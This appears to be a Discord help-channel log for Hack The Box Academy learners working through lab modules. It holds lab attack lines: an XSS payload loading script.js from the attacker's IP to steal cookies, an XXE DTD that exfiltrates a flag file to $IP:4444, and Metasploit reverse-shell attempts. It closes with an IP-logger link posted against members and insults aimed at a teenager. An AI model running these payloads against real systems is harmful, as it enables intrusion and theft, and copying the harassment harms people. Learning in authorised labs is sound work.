[night crypt]

cheers not a bad idea, and yeh I know it's a false positive just find it funny this is the first module it's flagged for me given content of others 😄

[gilded radish]

btw, yeah delete that

[gilded radish]

well, htb actually teach you offensive things.

I almost had a heart attack once when I was taking notes, and Windows Defender said I had a virus on my main host.

[oak girder]

I think it's very interesting

If you have any difficulties, it is advisable to google it first and take a look at HtB's posts, and the predecessors of history will give you hints

As well as historical messages from discord, which I find helpful

[mint otter]

with windows fundimentals where do i put Get-WmiObject -Class win32_OperatingSystem

[oak girder]

That part

[gilded radish]

powershell

[mint otter]

whats the difference between powershell and bash

is powershell to interact with the remote connection?

[gilded radish]

bash is lunux thing, while powershell is for windows

you can google what the diff

[mint otter]

should i have xfreerdp with powershell instead of basg

bash*

[ocean night]

@spare stone please don't post spoilers in the channel 🙂 Unsure which module you're on, but anything that is higher than Tier 0 should not have any spoilers posted in the open. Thanks

Deleted the message, just in case.

[night crypt]

Hi all, for the web attacks Bypassing Basic Authentication module I'm having trouble getting the server to return the allowed HTTP methods using curl -i -X OPTIONS http://IP:PORT/ as suggested in the module. My output isn't returning the Allow: header, any advice please?

└─$ curl -i -X OPTIONS http://83.136.255.40:37040/          
HTTP/1.1 200 OK
Date: Sat, 17 Aug 2024 12:04:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1108
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>File Manager</title>
    <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap.min.css">
    <script src="//netdna.bootstrapcdn.com/bootstrap/3.0.3/js/bootstrap.min.js"></script>
    <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
    <link rel="stylesheet" href="./style.css">
</head>

<body>
    <div class="form-group">
        <h1>File Manager</h1>
        <form role="form" action="index.php" method="GET">
            <input type="text" class="form-control" placeholder="New File Name" name="filename">
        </form>
        <form action="admin/reset.php" method="GET">
            <input type="submit" value="Reset" class="btn btn-danger" />
        </form>
    </div>
</body>
</body>

</html>

<div></div><ul class="list-unstyled" id="file"><div><h3>Available Files:<h3></div><ul><li><h4><a href='notes.txt'>notes.txt</a></h4></li></ul></ul> 

I know I can just brute force try all options but confused as to why the OPTIONS request isn't working?

[granite canopy]

Haven't run the module but had similar problems when doing my OSCP. Are you using rdesktop, xfreerdp or anything similar?

[spark spruce]

Option means you have to choose which method are you gonna use
weather POST HEAD PUT or others

[night crypt]

in the module it shows the following example though:

curl -i -X OPTIONS http://SERVER_IP:PORT/

HTTP/1.1 200 OK
Date: 
Server: Apache/2.4.41 (Ubuntu)
Allow: POST,OPTIONS,HEAD,GET
Content-Length: 0
Content-Type: httpd/unix-directory

This implies you can use curl -i -X OPTIONS http://server:port/ to see the Allow header, is this not correct?

[spark spruce]

at the place of OPTIONS you have to choose method
GET or POST

it is just an example

[night crypt]

that's quite confusing, the module wording implies we can send an OPTIONS request specifically to identify the allowed methods :/

even in the table at the start of the module it specifies that:

https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS also implies this should work

[bright coral]

@night crypt The example in that section is valid, but not all web servers / web applications implement this feature since it's not mandatory.

[grand loom]

does juicy potato need both SeImpersonate & SeAssignPrimaryToken or either one of them to get SYSTEM access

[fathom pendant]

Afaik the ad module only states SeImpersonate, but nothing is stopping you from looking at the docs

[wise vault]

Windows Privilege Escalation >> Credential Hunting = Search the file system for a file containing a password. Submit the password as your answer. any hind for this question? i used all the cheatsheet and some github methods.

[spare stone]

Got a problem in zap scanner, who can help me?

[marsh echo]

hey someone at successed this module with msf ? https://academy.hackthebox.com/module/113/section/1208

[wise vault]

yes

[marsh echo]

my output :

i've the username and password

I also specify the vhost

[night crypt]

thanks, that makes sense just found it odd that the example exercise in that module wouldn't show it. Is it generally considered best practice to either implement the feature or not, or is it really case specific?

[marsh echo]

🙂

[wise vault]

try this one

easy mate

[marsh echo]

i do it

[bright coral]

Considering the OPTIONS verb is heavily used for CORS preflight requests it makes sense to implement it / keep it active.
It does not use the Allow header though, so the behavior might be different.

[night crypt]

thanks Ryuki!

[stark lark]

How long should it take to enumerate ACL for a said user in AEAD module?

Been going for 10+ minutes

[supple light]

It depends how big it is. How many users are there ?
(Get-NetUser).count

[spare stone]

I am sorry, I am not aware of it

[supple light]

Hi. DACL 1. Skill Assessment. Last question, I have ntlm hash of jose and jeff but they don't work for anything. Help please.

[wicked cliff]

I have a question that i have completed starting point tier 0 tier 1 tier 2 now what should i need to do i am completely begginer

[stark lark]

Took 30 min

[shut vapor]

Anyone ever nest tmux sessions and can't vertical split the window, but horizontal splitting works fine? 🤨
LINUX01 Host in Password Attacks > PtT from Linux acting in a novel way for me.

It's the little things that will eventually me push over the top.

[limpid hemlock]

Hey cross site scripting module the session hijacking part im stuck i cant find the field and xss payload to use

[nova ocean]

hi guys i have a question in shells & payloads Infiltrating Unix/Linux can anyone help?

[limpid hemlock]

Anyone any help?

[fathom pendant]

Do what the module suggests and have it call to your ip with the name of the field you're testing [your_ip:port/username]

Also try different methods

'>
">

You're gonna need to tinker and figure it out

[shut vapor]

I may be able to assist. What is the question. DM's are open if it's spoiler material.

[jaunty plover]

I'm following the SQL Injection course, but I got stuck at the Subverting Query Logic section. In particular, I'm stuck at answering the question because I can't connect to the MySQL server. When I'm prompted for the password and I input it, the command just hangs and eventually times out. When I try connecting with the URL listed in the cheatsheet I get the error ERROR 2005 (HY000): Unknown server host '<docker host>' (-2). I can't see the password anywhere, but in previous sections it was just password so I'm assuming it's the same here.

[bright coral]

This is a web application. You're not supposed to use mysql

[nova ocean]

thank u i have figure it out, thank u so much

[jaunty plover]

but how do i access the web application?

[fathom pendant]

Http

:)

Firefox

[jaunty plover]

i figured thanks

[rustic sage]

://

[jaunty plover]

ofc

[fathom pendant]

Well that's in a browser

[rustic sage]

Firefox?

[fathom pendant]

Ye

You know, the web browser

[rustic sage]

Ik

http://

[gilded radish]

[quasi wave]

which web shells section should I reread before attempting host 2 on the assessment section for shells and payloads module?

should I just reread PHP web shells or are other web shells sections worth rereading too?

[fathom pendant]

Host 2 is the blog.inlanefreight one yeah?

Or is that the Tom one

[quasi wave]

blog.inlanefreight one

I completed the Tom one already

[fathom pendant]

There's not much to read about to be honest

Just inspect the page for the technologies in use

[quasi wave]

ok thanks

[fathom pendant]

Then search for exploits related to it (note the exploit may already be in msfconsole, just use it)

[quasi wave]

ok thanks got it

will do. in that case this will go quickly.

ok great I will do host2 today for sure

[fathom pendant]

As a note if you already know an exploit name, you can generally just use <exploit name>

Instead of searching around for it

[foggy monolith]

Which VPN server is the closest one to SoCal? Anyone have any ideas? Just want to make sure to minimize latency.

[fathom pendant]

Latency doesn't matter (all too much)

It's stability that matters

I've had stable connections ranging from (US|EU)-{1..6}

What kills it is jitter (the random latency spikes)

[limpid hemlock]

I found a field that was xss vulnerable in the session hijack section but i dont knw ho what to do from there i cant seem to understand what this module is trying to teach me

[cloud urchin]

what module and section?

[limpid hemlock]

Cross site scrupting module session hijacking section

[fathom pendant]

Well once you find the field, you inject your xss script in there, as described by the section

<script src="http://your_ip:port/script.js"></script> [the script.js is the Javascript code they provide in the reading, and should be in the same dir as you start the web server in)

[limpid hemlock]

I didnt understand like they provide 2 payloads i chose one and inserted it seting up a listnenrr

[fathom pendant]

They give you a script.js, which throws stuff to your index.php

[limpid hemlock]

That is where im comfused the script.js and index.php i created a file index.php in the folder i started the listner

[fathom pendant]

The Javascript code they give [new image()] is the script.js

That is a separate file that goes in the directory you start the listener in

[limpid hemlock]

Oh that also have to be put in that directory along with index.php

[fathom pendant]

Yes

You can't call a file that doesn't exist :)

When you start the webserver/listener that's the webroot

So any calls will look in that "webroot" for looking for files

Otherwise in your listener you'll get 404 not found

[limpid hemlock]

Ohk thanks ill try it noe and see how it goes this module is a bit tough i cant seem to wrap my mind ariund this

[fathom pendant]

This info btw is basic web knowledge

Which the module won't go over, since it's assumed you know it

[shut wraith]

Web Attacks

Advanced File Discloser

Advanced Exfiltration with CDATA

Hello. I understand that it's not necessary, but can someone explain why the CDATA method does not work on the exercise? Maybe there is something wrong with my .dtd or my injections?:
<!ENTITY joined "%begin;%file;%end;">

  <!ENTITY % begin "<![CDATA["> 
  <!ENTITY % file SYSTEM "file:///flag.txt"> 
  <!ENTITY % end "]]>"> 
  <!ENTITY % xxe SYSTEM "http://$IP:4444/cdata.dtd">
  %xxe;
]>```
`<email>&joined;</email>`
Thanks

[rustic sage]

Anyone know why it doesn't show the banner even though -sC is toggled?

[cerulean grail]

Do the credentials provided during labs apply for future labs as well or should I disregard them? For example, during the Easy Footrpinting lab I receive creds - do I have to keep these in mind for the Medium/Hard labs? Obviously in a real-life scenario I'd keep them in mind but what about HTB labs?

[fathom pendant]

Try specifying --script banner

[fathom pendant]

No

[rustic sage]

no luck 😦

[fathom pendant]

Consider labs as independent unless specified

[fathom pendant]

Did you also do -sV?

It also helps to specify what module and section you're on

[cerulean grail]

Does this also mean that credentials that are found during a lab but not directly provided are not to be used in other labs?

[rustic sage]

doesn't change the output on the network enumeration module medium lab

[fathom pendant]

Correct, only in some cases they'll be reused. So it's still good to save them, just in case, but for the skill exams -- they can be considered unlinked

[fathom pendant]

Ah, do it in pwnbox

Or connect via nc

nc -vn <ip> 53

[rustic sage]

Looking for somebody who could provide some help for the Whitebox Attacks Client-Side Prototype pollution challenge. I have local XSS and know that I need to get the admin to promote through /admin.php?promote=2 but I cant get the click. DM would be great

[rustic sage]

thanks, just trying to figure out why i'm getting different output from the walkthrough

[fathom pendant]

Because sometimes it's dumb

Sometimes you'd need to reset the target a bunch to get it

The pwnbox gives the expected answer for it most of the time

No idea why

[rustic sage]

hmm ty!

[fathom pendant]

But using nc to connect will give you the banner after a few moments

[rustic sage]

pwnbox does indeed work. Maybe it's a vpn thing =/

[fathom pendant]

Nope

As the pwnbox uses the vpn as well

[cerulean grail]

Thanks I appreciate your help!

[fathom pendant]

The password attacks bites you in the ass if you don't save credentials throughout (except for the skill exam)

[cerulean grail]

By skill exam you mean the labs at the end of each module, correct? What password attacks are you referring to?
Also - are passwords found during the CPTS should similary be considered unlinked?

[fathom pendant]

yeah

[fathom pendant]

the exam is a different beast

the exam is a fully networked environment

[foggy monolith]

No. She's talking about the #cpts exam.

[fathom pendant]

well no in that instance i was referring to the skill exam for the Password Attacks module

usually if i'm referring to the cert exam, i;ll say cert unless my brain decides not to work

[spiral lantern]

Giveaway Boat: Help

⚠️ Slash commands are still in beta so please be aware that there could be some bugs. If you find any, please report them here. To know about all my commands, use g.help instead or use dashboard! ⚠️

Giveaway Commands

/giveaway create, /giveaway delete, /giveaway edit, /giveaway end, /giveaway reroll

Schedule Giveaways

/schedule create, /schedule delete, /schedule edit

Giveaway Templates

/template create, /template delete, /template duplicate, /template edit

Bot Commands

/dashboard, /help, /invite, /ping, /stats, /support, /translate, /vote

Utility Commands

/giveaway fix, /list giveaways, /list schedules, /list templates

Levels

/level, /leveling enable, /leveling disable

Messages

/messages, /message counter enable, /message counter disable

Logger

/logger channel, /logger enable, /logger disable

Server Settings

/giveaway creator-roles, /giveaway manager-roles, /set language

Premium

/premium activate, /premium deactivate, /set emoji

Giveaway Boat · Aug 17, 2024, 8:30 PM

[fathom pendant]

@vocal galleon wrong bot

but also #bot-commands

regular plebs can't use the giveaway bots

what exactly are you trying to do?

[vocal galleon]

ok sorry

"I'm on the last question of the Shell & Payloads section. I successfully gained shell access to machine 3, host 172.16.1.13. However, the directory that contains the flag doesn't appear: C:\Users\Administrator\Desktop\Skills-flag.txt. I can access the Administrator user directory, but the Desktop directory doesn't show up. Any advice?"

[fathom pendant]

yeah you don't use any /help or !help for that

the general format for asking for help here is providing module and section name with what you've tried

[fathom pendant]

I take it you've already used the e*b* exploit to get the shell

otherwise that's step one; getting the shell

[vocal galleon]

ok thanks, ask the question this way next time

[fathom pendant]

as this is a community based help chat, so no bots required for that

also as a note; always be mindful of spoilers

but the flag should be there

if you dir C:\users\administrator\ desktop should be there

[vocal galleon]

I gained shell access by uploading the Antak webshell and executing it. After that, I used a PowerShell Base64 encoded reverse shell command to obtain an interactive shell on the machine provided for the exercises."

[fathom pendant]

well host 3 for the skill assessment is vulnerable to something specific

[vocal galleon]

Can I send you a screenshot? The directory is not there."

[fathom pendant]

see the hostname of it

no; don't need to send a screenshot

you shouldn't need to upload any sort of webshell

just using the specific exploit

msfconsole makes this easier

[vocal galleon]

I understand, but I have access to the machine, I can see its network, and I can see its name. It's strange that the Desktop directory doesn't appear. I'll try accessing it through msfconsole.

[fathom pendant]

yeah idk why you went through a webshell or anything

the exploit is explicitly gone over by the module

[quasi wave]

how do I disguise an .elf file as an image file again if when I go to upload file as image the file doesn't show up in file explorer? This is for question 3 of assessment of shells and payloads

I made the payload as an .elf file

[rustic sage]

is there a way to reset a module so I can do it over again?

[quasi wave]

no you have to make new account for that they want you to move forward. on TryHackMe you can do that but on HTB Academy you'll reuse old info because its cumulative so you'll get your review in anyways.

the HTB Academy system actually works better for learning long term

but no you cannot reset a module

I tried copying elf file into an .elf.jpeg file but it was not a compatible image file

could I change it with burp suite

[fathom pendant]

Indeed, because it doesn't teach you for a memory exam-- it teaches you for real scenarios

[fathom pendant]

I don't know why you need a .elf file?

As elf is generally a binary format

A web page won't run a binary file

[quasi wave]

ok what kind of payload do I need to generate? ASP?

[fathom pendant]

What module?

[cloud urchin]

use burp and run through a list of extensions

[fathom pendant]

If it's file upload, php is generally a safe bet

[dim wolf]

what's this elf file for

[fathom pendant]

^

[cloud urchin]

he said skill assessmnet question 3 for shells and payloads module

[dim wolf]

i don't remember that module but i want to know the train of thought

seems a bit odd to upload an elf file

[fathom pendant]

Well that's way out of line for that one

Considering the hostname of that machine

Especially considering the host ||isn't even linux||

[quasi wave]

nmap showed it was linux. is it macos?

[fathom pendant]

Host 3 isn't any nix based OS

At least afaik

[quasi wave]

its host 2 not host 3

[fathom pendant]

Ah host 2

[quasi wave]

question 3

[fathom pendant]

There's an exploit for the type of blog site

[quasi wave]

ok got it thatnks

[fathom pendant]

Once you find it using msfconsole search. You can just use it

[quasi wave]

I got the exploit but it won't create a session

msf6 exploit(unix/webapp/spip_connect_exec) > run

[*] Started reverse TCP handler on 10.129.75.67:4444 
[*] 172.16.1.12:80 - Attempting to exploit...
[*] Exploit completed, but no session was created.

This is my issue.

I know the exploit works and that I'm using the right port. Wait hold on.

that's about as close as I get

I managed to log into website and can upload image files

but I don't know what else to do

[fathom pendant]

your issue is using the wrong interface

also that's not the right exploit

you can probably searchsploit for it

but that might work idk

btw the question does lead you on to what to do

[quasi wave]

right got it right I answered question

so really just gotten work on question 5 because completed questions 3 and 4 already

so question 5 is what I was actually working on I guess

[fathom pendant]

:)

[foggy monolith]

Alright, I'm on the Windows File Transfer Methods (24/Section/160) lab now. This time, despite doing seemingly everything right (spoilers redacted in screenshot), the submission form is saying that the result of hasher upload_win.txt is incorrect. What am I missing?

[quasi wave]

I tried using burp suite to upload php payload and got 200 success message in burp suite but I don't have a shell

what am I doing wrong here?

[cloud urchin]

uploading a file doesn't just trigger a shell

[foggy monolith]

Don't need a shell for 24/160.

[cloud urchin]

i was answering queuemark

[fathom pendant]

so you downloaded the zip from next to the question, uploaded it, then unzipped and ran hasher against it?

[foggy monolith]

Yes. You can see the uploaded zip file on the remote host's desktop in the screenshot.

[fathom pendant]

i can see that; but did you unzip it? :)

i'd delete the file that's already on the desktop

and unzip again

[foggy monolith]

Yes. Right-clicked, then "Extract All."

After deleting the file that was there originally, that is.

[quasi wave]

so how am I supposed to get the shell? I upload file but then do I need to access the file to get shell no?

[fathom pendant]

also; make sure you don't have any extra spaces

[fathom pendant]

use the exploit mentioned by the question, make sure your LHOST is for the right subnet

172.16 can't reach 10.129

[quasi wave]

ok

[foggy monolith]

Ah, yes, there was a hidden non-printable character in there — hitting the backspace key once after copying and pasting the hash worked. Thanks again.

[glad hinge]

Does anyone have any tips for getting IP spoofing with nmap -S working? I'm working through the nmap IDS/IPS evasion labs and get a "failed to determine route" error from nmap, even though there is no such problem without the -S. I am using -e tun0 and -Pn, I've tried with pwnbox and via openvpn on kali and ubuntu

[fathom pendant]

sigh

you don't need to use -S

-S requires that the spoofed IP be live

and is generally only used for counter-Intel as you're spoofing the IP, the responses won't be sent back to you

but the spoofed IP

[glad hinge]

I take it this has been asked before... Apologies If I just didn't find it. I didn't think I needed to use it, was just trying to figure out why it gives that error. Thanks

[quasi wave]

I switched LHOST to new IP and it still won't work:

msf6 exploit(unix/webapp/spip_connect_exec) > run

[*] Started reverse TCP handler on 172.16.1.5:4444 
[*] 172.16.1.12:80 - Attempting to exploit...
[*] Exploit completed, but no session was created.```

[foggy monolith]

Could also trigger SYN flooding alarms if the spoofed IP is not live.

[fathom pendant]

it's in the documentation as well

it's why -S isn't really useful for doing your own recon, if you're trying to determine open ports

[quasi wave]

for some reason the exploit runs successfully but I still can't get the shel

I'm gonna take a break for a few hours before trying this again

[spiral spoke]

Hi! someone could give a hand with this please? I'm at the module Attacking Common Services - Attacking SQL Databases

[grand loom]

Get-BootKey : Requested registry access is not allowed.
At line:1 char:8
+ $key = Get-BootKey -SystemHivePath .\SYSTEM
+        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (:) [Get-BootKey], SecurityException
    + FullyQualifiedErrorId : GetBootKey_OtherError,DSInternals.PowerShell.Commands.GetBootKeyCommand````

any idea why this command wont work, i imported the module and have perms

[spiral spoke]

I've already tried a lot by 2 hours but I got the same answer, what should I do? 😭

I'v already install and reinstall impacket, reset the target, trying with sqsh and nothing

[hollow furnace]

Was a while ago that I did this but if you are attacking mssql dont you need to authenticate with '.\hostname'? I could be and probably am wrong.

[real delta]

use the -debug option

to see your error

[marsh brook]

How did they get the username/password in the vaccine module?

[plucky hollow]

who writes the hackthebox modules

[craggy tulip]

I've been stuck on windows fundamentals intro to command skills assessment last question since yesterday. the question says "What user account on the Domain Controller has many Event ID(4625) logon failures generated in rapid succession. flag is name of the user account. i can get a listing of the error id 4625 and pretty sure i see the repeated logons during a block of timeframes, but i can't seem to figure out how to filter the information so it shows the account name

i agree. not a lot of people teach you HOW to learn. this module is so helpful in suggesting many ways to make the most of the learning experience through multiple methods of contemplating and internalizing information

[spiral spoke]

Ready but I dont think it could be useful 🤔

[spiral spoke]

Same 😦

[fathom pendant]

htbdbuser

you're missing the db in the middle there

source: i did that once or twice

[spiral spoke]

You are right!!!...
But same bro

[fathom pendant]

sudo pip3 install impacket --upgrade --break-system-packages

[spiral spoke]

Thanks! This is what I got

I think the problem is the impacket itself, the latest version, I dont know 😦

[fathom pendant]

it's running under a venv so maybe sudo pipx install impacket --upgrade iirc

or maybe it's just sudo pipx upgrade impacket

been a minute since I use my own vm

[spiral spoke]

Did you connect to the mssql server using mssqlclient.py? because... 😅

[fathom pendant]

i believe it's a mssql server; don't think it's mysql

this is the footprinting on common services module?

[spiral spoke]

Yeah its's a mssql server on Attacking common services module, Attacking SQL Databases
section

[fathom pendant]

👍 give me a min to spin up my vm and see

[spiral spoke]

Sure, thanks man!

[fathom pendant]

ik it's an issue with impacket install on pwnbox

[solid wadi]

hey guys, im doing Command Injections: Skills Assessment and im quite lost, is there a place where i can download the TinyWebManager v2.4.6? I can only find v2.4.3 and v2.4.7

[fathom pendant]

i brought it up in #710108839063846964 a while back

[fathom pendant]

you don't need any extra tools

i don't even recall needing TinyWebManager

[solid wadi]

its the CMS

i need to read the source code to find a Command Injection vuln

[fathom pendant]

ok? don't see why you need to download it...

you don't though

i didn't need it to pass that module

[solid wadi]

how much time did it take to you?

[fathom pendant]

or at least the source code of the app itself

don't recall ¯_(ツ)_/¯

[spiral spoke]

Oh

[fathom pendant]

?

sorry i'm splitting 2 convos here if it's confusing you

[spiral spoke]

I tried with both but I just realise that I used htbuser instead of htbdbuser on my vm

[solid wadi]

how did you know what to attack and how to attack it then? its messing my head, i tried reading source code of v2.4.3 but i got nowhere

[fathom pendant]

fucking around and looking around

¯_(ツ)_/¯

click around

you'll find something somewhere

[solid wadi]

aight, but to do some character escaping and filter bypass, all what i need is in the cheatsheet at least?

i mean, if you remember

[plucky hollow]

If you really want to learn you must search for yourself, try several ways until you find the solution

[real delta]

Then use it without windows auth

[fathom pendant]

yeah it works fine on my machine with htbdbuser

try this

pipx uninstall impacket; pipx install impacket

on pwnbox

but also if you're using your own vm; don't be running the pwnbox

[solid wadi]

https://academy.hackthebox.com/achievement/1352920/109

crap how the heck do i share the achievement

anyways, thx @fathom pendant and @plucky hollow

[fathom pendant]

gz

[fathom pendant]

see 😉 no need to overthink the whole thing

[craggy tulip]

found the answer but i just used Get-ADUsers and used * as the filter and tried every username. i am certain this is the incorrect method as i was assuming i was supposed to use Get-WinEvent as the hint suggested and found that -FilterHashTable @{logname='security'; id='4625'} gave a listing but it didn't show the user names. so, then i tried piping it to "fl" to format list and it showed a lot of data but it wouldn't scroll to the top of the list where the times of repeated logins were. i would really like to learn how i could've filtered the data better and to ensure it was domain controller event log that i was filtering through.

[fathom pendant]

You can do a little googling to find the command; it's also in the cheatsheet

Basically pipe it to Select-Object -ExpandProperty message

[oblique ore]

Hi!

how can i erase my actual credit card from the billing?

[fathom pendant]

Message support

[fathom pendant]

<@&861185840277487616> this is a grabify link masked

[full nova]

ive been caught

lol

[fathom pendant]

Fuck off

[full nova]

woah chill out dude

I was only trying to 'hack the box'

[fathom pendant]

We don't tolerate grabify links dude

Read the #rules

[full nova]

soz didnt see that

[fathom pendant]

And this server isn't about hacking other users

[full nova]

ill take the timeout if mods deem it appropirate

[fathom pendant]

You should just get banned

Imo

[full nova]

any recommendations?

[full nova]

oh.

[fathom pendant]

Nope as any server that's about hacking people breaks discord ToS

I suggest reading #rules and #welcome of servers you join

[full nova]

i do that i just didnt see

[full nova]

even if you wanted to?

[fathom pendant]

I mean if you want your discord account banned and likely ip/mac banned

¯_(ツ)_/¯

Those servers don't last long

[full nova]

a ok

[fathom pendant]

And if reported to authorities, discord has to abide by subpeoanas

[full nova]

by bye

<@&861185840277487616> BAN ME PLEASE!

pluh

mods?

[fathom pendant]

@surreal rain

[full nova]

woah dude thats too far, i just like hacking and sh!ttt thats all

jeez

[fathom pendant]

We like hacking too, but we do it legally

[rustic sage]

You can't hack shit bro

[full nova]

i also do it legally i dont leak anything tho

[full nova]

ye i can

[fathom pendant]

Take your skid shit elsewhere

[fathom pendant]

Grabify isn't a legal thing lmfao

[full nova]

i brute forced my school the other day? if that helps @rustic sage ?

[rustic sage]

Lol

[fathom pendant]

And no one knows what your plans are with the ips you grab

[full nova]

then why does it exist for the public?

[fathom pendant]

Fuckin dumbass

[full nova]

true true

[rustic sage]

That's not hacking, plus no one would admit that 😭

[full nova]

WOAH

[full nova]

oh well

[fathom pendant]

Call it as I sees it bud

[full nova]

fair enough

[fathom pendant]

Just because it's available doesn't make it legal

[full nova]

whens that ban coming btw like jeez

[full nova]

also true

no vpn, just plain old desktop discord

[rustic sage]

Brute forcing creds is some skid shit tbh

[full nova]

debatable but i see why u think that

[fathom pendant]

Mods asleep damn

[full nova]

its 2 am for me

[fathom pendant]

I mean it is skid shit

[plucky hollow]

@urban sage

[full nova]

who dat?

[fathom pendant]

Might be afk for a min

[full nova]

i see now nvm

[fathom pendant]

Either way we're flooding th chat with useless chatter

[full nova]

yeah

[fathom pendant]

Though your existence overall is useless

[full nova]

theres no general chat tho

[full nova]

real.

[rustic sage]

There is

A general chat

[full nova]

cant type in it tho

[fathom pendant]

Go find the tree that provided you oxygen and apologize

[fathom pendant]

Man if only there were instructions somewhere

[full nova]

i will

[full nova]

lol

[fathom pendant]

Crazy

But can't be bothered to read

[full nova]

i dont have a htb account i thought this was a hcking server

[full nova]

PIKAPOO 😍

[fathom pendant]

It is, but not what you think

[rustic sage]

LoL you give off such skid energy

[full nova]

ive seen it online and stuff but i guess its not what i thought it was

[fathom pendant]

Again, if you could read -- you'd know what the server is about

[full nova]

i can read

[full nova]

thanks?

[rustic sage]

Lmao

[plucky hollow]

Surely you have some cognitive problem

[fathom pendant]

If you could then you wouldn't have been trying to grabify people

[full nova]

i do, thanks mate for that

real nice of u

[fathom pendant]

Don't think he knows what that means

[full nova]

me or him?

[fathom pendant]

You

[full nova]

i have autism

[fathom pendant]

Critical thinking really isn't your strong suit

[full nova]

if thats what he meant

[rustic sage]

Grabify is that IP logger right?

[full nova]

i get told that alot

[fathom pendant]

Plenty of people in this field have autism

[full nova]

yup!

[rustic sage]

Why would you need a random public IP?

[full nova]

this is a discord server not a feild

[fathom pendant]

Doesn't mean they just go out and hack random people, especially at risk of getting jailed

[fathom pendant]

The field of cybersecurity

[rustic sage]

Literally nothing you could do with that

[full nova]

tbh idk, im thinking of new ways to use them

[fathom pendant]

Unless ipv6

[full nova]

ah ok

[rustic sage]

Yeah

[fathom pendant]

Which has that hot new cve out and about

[civic hamlet]

this windows command-line module is unexpectedly thick, but im enjoying it

[full nova]

yeah, the grabify gets u ipv4s tho...

[fathom pendant]

No

[full nova]

?

[fathom pendant]

It gets you whatever ip connects to the server

[rustic sage]

Yeah whatever is in use

[full nova]

oh yeah

[fathom pendant]

If it connects via ipv6, you get ipv6

[rustic sage]

Mostly v4

[fathom pendant]

Don't know what the skid tool you used does, typical

[full nova]

well, its been real nice chatting. even if i was a d!ck

[fathom pendant]

Nothing you can do with random public ips that would be legal

[full nova]

yeah..

[rustic sage]

Nothing much you can do what would even be illegal lol you'd just most probably be scanning a router lol

[fathom pendant]

Next time utilize that peanut you call a brain before doing something

[civic hamlet]

comes in
grabify link
leaves

[full nova]

packer sniffing possibly if i get router acsess?

[fathom pendant]

Trying to scan for exposed services, break in

[full nova]

pretty much

[fathom pendant]

You can't packet sniff remotely lol

[rustic sage]

Really think he can break into a router?

[full nova]

sh!t yeah

[full nova]

i could try!

[rustic sage]

Lol

[fathom pendant]

If there's exposed services, sure

¯_(ツ)_/¯

[full nova]

not being a creep here but how old are u guys?

im 14

[fathom pendant]

Most people aren't running anything exposed to the public internet

[full nova]

also true

[fathom pendant]

Old enough to realize you're a dumbass

[full nova]

cmon man that mas mean...

just tryna get along man

schools tough yk

[fathom pendant]

If you want to learn legal hacking then go to htb academy, you'll need to get parental consent

[full nova]

doing my nat 5s the call it here in the uk'

[full nova]

Thanks!

[rustic sage]

Most probably not, I've tried on my own old routers and honestly by default, it's super hard to do. Specially since it runs very limited services, so finding vulnerabilities is super hard. Definitely not possible for a skid, as if you do find any vulnerability, you'd not have any public exploits available, so you gotta write your own

[full nova]

If they old then maybe they just dont work aswell?

[rustic sage]

Nah

[fathom pendant]

Don't come in with a grabify link and expect not to get treated in a hostile way

[rustic sage]

If anything, old should be easier to hack

[fathom pendant]

:p the way you act dictates how others treat you

[full nova]

fair. in my defence, i though it was a hack server. but now that were cleared that up, maybe be nicer>??

[fathom pendant]

Nah

[full nova]

more venerable

[fathom pendant]

I don't gotta be nicer

[rustic sage]

Yeah

[fathom pendant]

And tbqh this is me being nicer regarding you being a twat

[full nova]

fair enough then

[rustic sage]

@full nova If you wanna hack, there are plenty of machines on HTB. Hack them... And get your ass kicked by an easy machine

[full nova]

Ok then

[fathom pendant]

https://help.hackthebox.com/en/articles/9456556-parental-consent-and-approval-for-users-under-18

[grim kayak]

Why is @full nova being bullied?

[full nova]

thanks

[fathom pendant]

Because he came in and spammed a grabify link

[grim kayak]

omfg

[fathom pendant]

So he's getting treated like a twat

[grim kayak]

good

[fathom pendant]

¯_(ツ)_/¯

With some genuine advice sprinkled in

[rustic sage]

Bro imagine coming into a hacking server and spamming a IP grabber link like we wouldn't know and click it.